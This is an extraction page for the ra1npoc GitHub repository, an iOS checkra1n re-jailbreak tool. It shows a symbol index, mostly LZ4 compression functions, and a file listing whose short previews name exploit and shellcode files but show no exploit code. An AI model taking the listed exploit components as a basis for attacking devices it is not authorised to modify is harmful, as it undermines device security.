function LZ4_freeStream (line 1554) | int LZ4_freeStream (LZ4_stream_t* LZ4_stream)
function LZ4_loadDict (line 1565) | int LZ4_loadDict (LZ4_stream_t* LZ4_dict, const char* dictionary, int di...
function LZ4_attach_dictionary (line 1608) | void LZ4_attach_dictionary(LZ4_stream_t* workingStream, const LZ4_stream...
function LZ4_renormDictT (line 1637) | static void LZ4_renormDictT(LZ4_stream_t_internal* LZ4_dict, int nextSize)
function LZ4_compress_fast_continue (line 1657) | int LZ4_compress_fast_continue (LZ4_stream_t* LZ4_stream,
function LZ4_compress_forceExtDict (line 1737) | int LZ4_compress_forceExtDict (LZ4_stream_t* LZ4_dict, const char* sourc...
function LZ4_saveDict (line 1764) | int LZ4_saveDict (LZ4_stream_t* LZ4_dict, char* safeBuffer, int dictSize)
type earlyEnd_directive (line 1792) | typedef enum { decode_full_block = 0, partial_decode = 1 } earlyEnd_dire...
function read_long_length_no_check (line 1802) | static size_t read_long_length_no_check(const BYTE** pp)
function LZ4_FORCE_INLINE (line 1819) | LZ4_FORCE_INLINE int
type Rvl_t (line 1926) | typedef size_t Rvl_t;
function LZ4_FORCE_INLINE (line 1928) | LZ4_FORCE_INLINE Rvl_t
function LZ4_FORCE_O2 (line 2385) | LZ4_FORCE_O2
function LZ4_FORCE_O2 (line 2393) | LZ4_FORCE_O2
function LZ4_FORCE_O2 (line 2402) | LZ4_FORCE_O2
function LZ4_FORCE_O2 (line 2413) | LZ4_FORCE_O2 /* Exported, an obsolete API function. */
function LZ4_FORCE_O2 (line 2421) | LZ4_FORCE_O2
function LZ4_decompress_fast_withPrefix64k (line 2431) | int LZ4_decompress_fast_withPrefix64k(const char* source, char* dest, in...
function LZ4_FORCE_O2 (line 2438) | LZ4_FORCE_O2
function LZ4_FORCE_O2 (line 2447) | LZ4_FORCE_O2
function LZ4_FORCE_O2 (line 2457) | LZ4_FORCE_O2
function LZ4_FORCE_O2 (line 2468) | LZ4_FORCE_O2
function LZ4_FORCE_O2 (line 2479) | LZ4_FORCE_O2
function LZ4_FORCE_INLINE (line 2492) | LZ4_FORCE_INLINE
function LZ4_streamDecode_t (line 2504) | LZ4_streamDecode_t* LZ4_createStreamDecode(void)
function LZ4_freeStreamDecode (line 2510) | int LZ4_freeStreamDecode (LZ4_streamDecode_t* LZ4_stream)
function LZ4_setStreamDecode (line 2524) | int LZ4_setStreamDecode (LZ4_streamDecode_t* LZ4_streamDecode, const cha...
function LZ4_decoderRingBufferSize (line 2550) | int LZ4_decoderRingBufferSize(int maxBlockSize)
function LZ4_FORCE_O2 (line 2565) | LZ4_FORCE_O2
function LZ4_FORCE_O2 (line 2605) | LZ4_FORCE_O2 int
function LZ4_decompress_safe_usingDict (line 2654) | int LZ4_decompress_safe_usingDict(const char* source, char* dest, int co...
function LZ4_decompress_safe_partial_usingDict (line 2669) | int LZ4_decompress_safe_partial_usingDict(const char* source, char* dest...
function LZ4_decompress_fast_usingDict (line 2684) | int LZ4_decompress_fast_usingDict(const char* source, char* dest, int or...
function LZ4_compress_limitedOutput (line 2699) | int LZ4_compress_limitedOutput(const char* source, char* dest, int input...
function LZ4_compress (line 2703) | int LZ4_compress(const char* src, char* dest, int srcSize)
function LZ4_compress_limitedOutput_withState (line 2707) | int LZ4_compress_limitedOutput_withState (void* state, const char* src, ...
function LZ4_compress_withState (line 2711) | int LZ4_compress_withState (void* state, const char* src, char* dst, int...
function LZ4_compress_limitedOutput_continue (line 2715) | int LZ4_compress_limitedOutput_continue (LZ4_stream_t* LZ4_stream, const...
function LZ4_compress_continue (line 2719) | int LZ4_compress_continue (LZ4_stream_t* LZ4_stream, const char* source,...
function LZ4_uncompress (line 2730) | int LZ4_uncompress (const char* source, char* dest, int outputSize)
function LZ4_uncompress_unknownOutputSize (line 2734) | int LZ4_uncompress_unknownOutputSize (const char* source, char* dest, in...
function LZ4_sizeofStreamState (line 2741) | int LZ4_sizeofStreamState(void) { return sizeof(LZ4_stream_t); }
function LZ4_resetStreamState (line 2743) | int LZ4_resetStreamState(void* state, char* inputBuffer)
FILE: lz4/lib/lz4.h
type LZ4_stream_t (line 311) | typedef union LZ4_stream_u LZ4_stream_t;
type LZ4_streamDecode_t (line 409) | typedef union LZ4_streamDecode_u LZ4_streamDecode_t;
type LZ4_i8 (line 678) | typedef int8_t LZ4_i8;
type LZ4_byte (line 679) | typedef uint8_t LZ4_byte;
type LZ4_u16 (line 680) | typedef uint16_t LZ4_u16;
type LZ4_u32 (line 681) | typedef uint32_t LZ4_u32;
type LZ4_i8 (line 683) | typedef signed char LZ4_i8;
type LZ4_byte (line 684) | typedef unsigned char LZ4_byte;
type LZ4_u16 (line 685) | typedef unsigned short LZ4_u16;
type LZ4_u32 (line 686) | typedef unsigned int LZ4_u32;
type LZ4_stream_t_internal (line 695) | typedef struct LZ4_stream_t_internal LZ4_stream_t_internal;
type LZ4_stream_t_internal (line 696) | struct LZ4_stream_t_internal {
type LZ4_streamDecode_t_internal (line 735) | typedef struct {
FILE: lz4/lib/lz4hc.c
type dictCtx_directive (line 72) | typedef enum { noDictCtx, usingDictCtxHc } dictCtx_directive;
function U32 (line 90) | static U32 LZ4HC_hashPtr(const void* ptr) { return HASH_FUNCTION(LZ4_rea...
function LZ4HC_clearTables (line 96) | static void LZ4HC_clearTables (LZ4HC_CCtx_internal* hc4)
function LZ4HC_init_internal (line 102) | static void LZ4HC_init_internal (LZ4HC_CCtx_internal* hc4, const BYTE* s...
function LZ4_FORCE_INLINE (line 123) | LZ4_FORCE_INLINE void LZ4HC_Insert (LZ4HC_CCtx_internal* hc4, const BYTE...
function LZ4_FORCE_INLINE (line 148) | LZ4_FORCE_INLINE
function U32 (line 170) | static U32 LZ4HC_rotatePattern(size_t const rotate, U32 const pattern)
function LZ4HC_countPattern (line 179) | static unsigned
function LZ4HC_reverseCountPattern (line 212) | static unsigned
function LZ4HC_protectDictEnd (line 234) | static int LZ4HC_protectDictEnd(U32 const dictLimit, U32 const matchIndex)
type repeat_state_e (line 239) | typedef enum { rep_untested, rep_not, rep_confirmed } repeat_state_e;
type HCfavor_e (line 240) | typedef enum { favorCompressionRatio=0, favorDecompressionSpeed } HCfavo...
type LZ4HC_match_t (line 242) | typedef struct {
function LZ4_FORCE_INLINE (line 247) | LZ4_FORCE_INLINE LZ4HC_match_t
function LZ4_FORCE_INLINE (line 471) | LZ4_FORCE_INLINE LZ4HC_match_t
function LZ4_FORCE_INLINE (line 489) | LZ4_FORCE_INLINE int LZ4HC_encodeSequence (
function LZ4_FORCE_INLINE (line 576) | LZ4_FORCE_INLINE int LZ4HC_compress_hashChain (
function LZ4_FORCE_INLINE (line 812) | LZ4_FORCE_INLINE int
function LZ4HC_compress_generic_noDictCtx (line 878) | static int
function LZ4HC_compress_generic_dictCtx (line 893) | static int
function LZ4HC_compress_generic (line 919) | static int
function LZ4_sizeofStateHC (line 938) | int LZ4_sizeofStateHC(void) { return (int)sizeof(LZ4_streamHC_t); }
function LZ4_streamHC_t_alignment (line 940) | static size_t LZ4_streamHC_t_alignment(void)
function LZ4_compress_HC_extStateHC_fastReset (line 952) | int LZ4_compress_HC_extStateHC_fastReset (void* state, const char* src, ...
function LZ4_compress_HC_extStateHC (line 964) | int LZ4_compress_HC_extStateHC (void* state, const char* src, char* dst,...
function LZ4_compress_HC (line 971) | int LZ4_compress_HC(const char* src, char* dst, int srcSize, int dstCapa...
function LZ4_compress_HC_destSize (line 990) | int LZ4_compress_HC_destSize(void* state, const char* source, char* dest...
function LZ4_streamHC_t (line 1006) | LZ4_streamHC_t* LZ4_createStreamHC(void)
function LZ4_freeStreamHC (line 1015) | int LZ4_freeStreamHC (LZ4_streamHC_t* LZ4_streamHCPtr)
function LZ4_streamHC_t (line 1025) | LZ4_streamHC_t* LZ4_initStreamHC (void* buffer, size_t size)
function LZ4_resetStreamHC (line 1041) | void LZ4_resetStreamHC (LZ4_streamHC_t* LZ4_streamHCPtr, int compression...
function LZ4_resetStreamHC_fast (line 1047) | void LZ4_resetStreamHC_fast (LZ4_streamHC_t* LZ4_streamHCPtr, int compre...
function LZ4_setCompressionLevel (line 1063) | void LZ4_setCompressionLevel(LZ4_streamHC_t* LZ4_streamHCPtr, int compre...
function LZ4_favorDecompressionSpeed (line 1071) | void LZ4_favorDecompressionSpeed(LZ4_streamHC_t* LZ4_streamHCPtr, int fa...
function LZ4_loadDictHC (line 1078) | int LZ4_loadDictHC (LZ4_streamHC_t* LZ4_streamHCPtr,
function LZ4_attach_HC_dictionary (line 1099) | void LZ4_attach_HC_dictionary(LZ4_streamHC_t *working_stream, const LZ4_...
function LZ4HC_setExternalDict (line 1105) | static void LZ4HC_setExternalDict(LZ4HC_CCtx_internal* ctxPtr, const BYT...
function LZ4_compressHC_continue_generic (line 1123) | static int
function LZ4_compress_HC_continue (line 1164) | int LZ4_compress_HC_continue (LZ4_streamHC_t* LZ4_streamHCPtr, const cha...
function LZ4_compress_HC_continue_destSize (line 1173) | int LZ4_compress_HC_continue_destSize (LZ4_streamHC_t* LZ4_streamHCPtr, ...
function LZ4_saveDictHC (line 1185) | int LZ4_saveDictHC (LZ4_streamHC_t* LZ4_streamHCPtr, char* safeBuffer, i...
function LZ4_compressHC (line 1217) | int LZ4_compressHC(const char* src, char* dst, int srcSize) { return LZ4...
function LZ4_compressHC_limitedOutput (line 1218) | int LZ4_compressHC_limitedOutput(const char* src, char* dst, int srcSize...
function LZ4_compressHC2 (line 1219) | int LZ4_compressHC2(const char* src, char* dst, int srcSize, int cLevel)...
function LZ4_compressHC2_limitedOutput (line 1220) | int LZ4_compressHC2_limitedOutput(const char* src, char* dst, int srcSiz...
function LZ4_compressHC_withStateHC (line 1221) | int LZ4_compressHC_withStateHC (void* state, const char* src, char* dst,...
function LZ4_compressHC_limitedOutput_withStateHC (line 1222) | int LZ4_compressHC_limitedOutput_withStateHC (void* state, const char* s...
function LZ4_compressHC2_withStateHC (line 1223) | int LZ4_compressHC2_withStateHC (void* state, const char* src, char* dst...
function LZ4_compressHC2_limitedOutput_withStateHC (line 1224) | int LZ4_compressHC2_limitedOutput_withStateHC (void* state, const char* ...
function LZ4_compressHC_continue (line 1225) | int LZ4_compressHC_continue (LZ4_streamHC_t* ctx, const char* src, char*...
function LZ4_compressHC_limitedOutput_continue (line 1226) | int LZ4_compressHC_limitedOutput_continue (LZ4_streamHC_t* ctx, const ch...
function LZ4_sizeofStreamStateHC (line 1230) | int LZ4_sizeofStreamStateHC(void) { return sizeof(LZ4_streamHC_t); }
function LZ4_resetStreamStateHC (line 1234) | int LZ4_resetStreamStateHC(void* state, char* inputBuffer)
function LZ4_freeHC (line 1251) | int LZ4_freeHC (void* LZ4HC_Data)
function LZ4_compressHC2_continue (line 1259) | int LZ4_compressHC2_continue (void* LZ4HC_Data, const char* src, char* d...
function LZ4_compressHC2_limitedOutput_continue (line 1264) | int LZ4_compressHC2_limitedOutput_continue (void* LZ4HC_Data, const char...
type LZ4HC_optimal_t (line 1282) | typedef struct {
function LZ4_FORCE_INLINE (line 1290) | LZ4_FORCE_INLINE int LZ4HC_literalsPrice(int const litlen)
function LZ4_FORCE_INLINE (line 1301) | LZ4_FORCE_INLINE int LZ4HC_sequencePrice(int litlen, int mlen)
function LZ4_FORCE_INLINE (line 1317) | LZ4_FORCE_INLINE LZ4HC_match_t
function LZ4HC_compress_optimal (line 1337) | static int LZ4HC_compress_optimal ( LZ4HC_CCtx_internal* ctx,
FILE: lz4/lib/lz4hc.h
type LZ4_streamHC_t (line 101) | typedef union LZ4_streamHC_u LZ4_streamHC_t;
type LZ4HC_CCtx_internal (line 204) | typedef struct LZ4HC_CCtx_internal LZ4HC_CCtx_internal;
type LZ4HC_CCtx_internal (line 205) | struct LZ4HC_CCtx_internal
FILE: lz4/lz4_main.c
function RA1NPOC_API (line 13) | RA1NPOC_API int lz4CompressAndAddShellcode(const void *inbuf, const size...
FILE: main.c
function RA1NPOC_STATIC_API (line 89) | RA1NPOC_STATIC_API void usage(const char* arg0)
function RA1NPOC_STATIC_API (line 141) | RA1NPOC_STATIC_API static int openFile(char *file, size_t *sz, void **buf)
function main (line 169) | int main(int argc, char** argv)
Condensed preview — 38 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (362K chars).
[
{
"path": ".gitattributes",
"chars": 66,
"preview": "# Auto detect text files and perform LF normalization\n* text=auto\n"
},
{
"path": ".gitignore",
"chars": 35,
"preview": ".DS_Store\nra1npoc15_*\nios_headers/\n"
},
{
"path": ".gitmodules",
"chars": 72,
"preview": "[submodule \"io\"]\n\tpath = io\n\turl = https://github.com/kok3shidoll/iousb\n"
},
{
"path": "LICENSE",
"chars": 1116,
"preview": "For licenses other than LZ4, see below.\n\nMIT License\n\nCopyright (c) 2021 - 2023 kok3shidoll\n\nPermission is hereby grante"
},
{
"path": "Makefile",
"chars": 2279,
"preview": "\nRPVERSION ?= 3.3.1-$(shell git rev-parse HEAD | cut -c1-8)\n\nC_FLAGS \t?= -Iinclude -Wall $(CFLAGS) -DRPVERSION=\\\"$(R"
},
{
"path": "README.md",
"chars": 1982,
"preview": "# ra1npoc \ncheckra1n dump and poc for iOS \nA tool for re-jailbreak devices jailbroken by checkra1n/odysseyra1n on iOS/"
},
{
"path": "README_JP.md",
"chars": 1750,
"preview": "# ra1npoc \ncheckra1n dump and poc for iOS \nA tool for re-jailbreak devices jailbroken by checkra1n/odysseyra1n on iOS/"
},
{
"path": "ent.xml",
"chars": 464,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
},
{
"path": "exploit/common.c",
"chars": 5967,
"preview": "/*\n * ra1npoc - exploit/common.c\n *\n * Copyright (c) 2021 - 2023 kok3shidoll\n *\n * Permission is hereby granted, free of"
},
{
"path": "exploit/new.c",
"chars": 30375,
"preview": "/*\n * ra1npoc - exploit/new.c\n *\n * Copyright (c) 2021 - 2023 kok3shidoll\n *\n * Permission is hereby granted, free of ch"
},
{
"path": "exploit/old.c",
"chars": 1165,
"preview": "/*\n * ra1npoc - exploit/old.c\n *\n * Copyright (c) 2021 - 2023 kok3shidoll\n *\n * Permission is hereby granted, free of ch"
},
{
"path": "exploit/shellcode/.gitignore",
"chars": 5,
"preview": "src/\n"
},
{
"path": "exploit/shellcode/build.sh",
"chars": 443,
"preview": "#!/bin/bash\n\nrm -rf src/\n\nmkdir src/\n\n# S5L8960\nxxd -i s5l8960.bin > src/s5l8960.h\n\n# T7000\nxxd -i t7000.bin > src/t7000"
},
{
"path": "exploit/shellcode/readme.txt",
"chars": 10,
"preview": "shellcode\n"
},
{
"path": "headers/.gitignore",
"chars": 42,
"preview": "legacy_kpf.h\nlegacy_ramdisk.h\nPongo_bin.h\n"
},
{
"path": "headers/.keep",
"chars": 0,
"preview": ""
},
{
"path": "headers/build.sh",
"chars": 182,
"preview": "#!/bin/bash\n\nrm -rf legacy_kpf.h\nrm -rf legacy_ramdisk.h\nrm -rf Pongo_bin.h\n\nxxd -i legacy_kpf > legacy_kpf.h\nxxd -i leg"
},
{
"path": "headers/readme.txt",
"chars": 185,
"preview": "legacy_kpf: checkra1n v0.12.4b compatible KPF to run 0.1337 for iOS 14\nlegacy_ramdisk: original by checkra1n v0.12.4b\nPo"
},
{
"path": "helper/pongoterm.c",
"chars": 21983,
"preview": "/*\n * ra1npoc - helper/pongoterm.c\n *\n * Copyright (c) 2021 - 2023 kok3shidoll\n *\n * Permission is hereby granted, free "
},
{
"path": "helper/recovery.c",
"chars": 3627,
"preview": "/*\n * ra1npoc - helper/recovery.c\n *\n * Copyright (c) 2021 - 2023 kok3shidoll\n *\n * Permission is hereby granted, free o"
},
{
"path": "include/common/common.h",
"chars": 2291,
"preview": "#ifndef COMMON_H\n#define COMMON_H\n\n#include <io/iousb.h>\n\n#ifdef DEVBUILD\n#define RA1NPOC_API\n#else\n#define RA1NPOC_API\n"
},
{
"path": "include/common/log.h",
"chars": 1002,
"preview": "#ifndef LOG_H\n#define LOG_H\n\n#include <stdio.h>\n\n/* LOG macro */\n#ifdef DEVBUILD\n/* DEVBUILD */\n#define ERR(x, ...) \\\ndo"
},
{
"path": "include/common/log2.h",
"chars": 552,
"preview": "#ifndef LOG_H\n#define LOG_H\n\n#include <stdio.h>\n\n/* LOG macro */\n#define ERR(x, ...) \\\ndo { \\\nprintf(\"- \\x1b[36m[ERR] \\x"
},
{
"path": "include/lz4dec_asm.h",
"chars": 3226,
"preview": "unsigned char lz4dec_bin[] = {\n 0xf2, 0x03, 0x1e, 0xaa, 0xf1, 0x03, 0x00, 0xaa, 0xe1, 0x07, 0x61, 0xb2,\n 0xe3, 0x27, 0"
},
{
"path": "include/pongoterm.h",
"chars": 153,
"preview": "#ifndef PONGO_H\n#define PONGO_H\n\n#include <stdint.h>\n#include <io/iousb.h>\n\nint oldPongoTerm(client_t *client);\nint pong"
},
{
"path": "include/ra1npoc.h",
"chars": 114,
"preview": "#ifndef RA1NPOC_H\n#define RA1NPOC_H\n\n#include <stdint.h>\n\nint ra1npoc15(client_t *client, uint16_t cpid);\n\n#endif\n"
},
{
"path": "include/recovery.h",
"chars": 122,
"preview": "#ifndef RECOVERY_H\n#define RECOVERY_H\n\n#include <stdint.h>\n#include <io/iousb.h>\n\nint enterDFU(client_t *client);\n\n#endi"
},
{
"path": "lz4/lib/.gitignore",
"chars": 4,
"preview": "*.o\n"
},
{
"path": "lz4/lib/Makefile",
"chars": 549,
"preview": "MACOS_FLAG += -mmacosx-version-min=10.11\nMACOS_FLAG += -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/Ma"
},
{
"path": "lz4/lib/lz4.c",
"chars": 114208,
"preview": "/*\n LZ4 - Fast LZ compression algorithm\n Copyright (C) 2011-2020, Yann Collet.\n\n BSD 2-Clause License (http://www."
},
{
"path": "lz4/lib/lz4.h",
"chars": 44419,
"preview": "/*\n * LZ4 - Fast LZ compression algorithm\n * Header File\n * Copyright (C) 2011-2020, Yann Collet.\n\n BSD 2-Clause Li"
},
{
"path": "lz4/lib/lz4_main.h",
"chars": 186,
"preview": "#ifndef LZ4_MAIN_H\n#define LZ4_MAIN_H\n\n#include <lz4.h>\n#include <lz4hc.h>\n\nint lz4CompressAndAddShellcode(const void *i"
},
{
"path": "lz4/lib/lz4hc.c",
"chars": 70760,
"preview": "/*\n LZ4 HC - High Compression Mode of LZ4\n Copyright (C) 2011-2020, Yann Collet.\n\n BSD 2-Clause License (http:/"
},
{
"path": "lz4/lib/lz4hc.h",
"chars": 20179,
"preview": "/*\n LZ4 HC - High Compression Mode of LZ4\n Header File\n Copyright (C) 2011-2020, Yann Collet.\n BSD 2-Clause Lice"
},
{
"path": "lz4/lz4_main.c",
"chars": 1508,
"preview": "#include <errno.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include <common/log.h>\n#include <common/"
},
{
"path": "main.c",
"chars": 18808,
"preview": "/*\n * ra1npoc - main.c\n *\n * Copyright (c) 2021 - 2023 kok3shidoll\n *\n * Permission is hereby granted, free of charge, t"
}
]
// ... and 2 more files (download for full content)
About this extraction
This page contains the full source code of the dora2-iOS/ra1npoc GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 38 files (341.6 KB), approximately 95.2k tokens, and a symbol index with 222 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.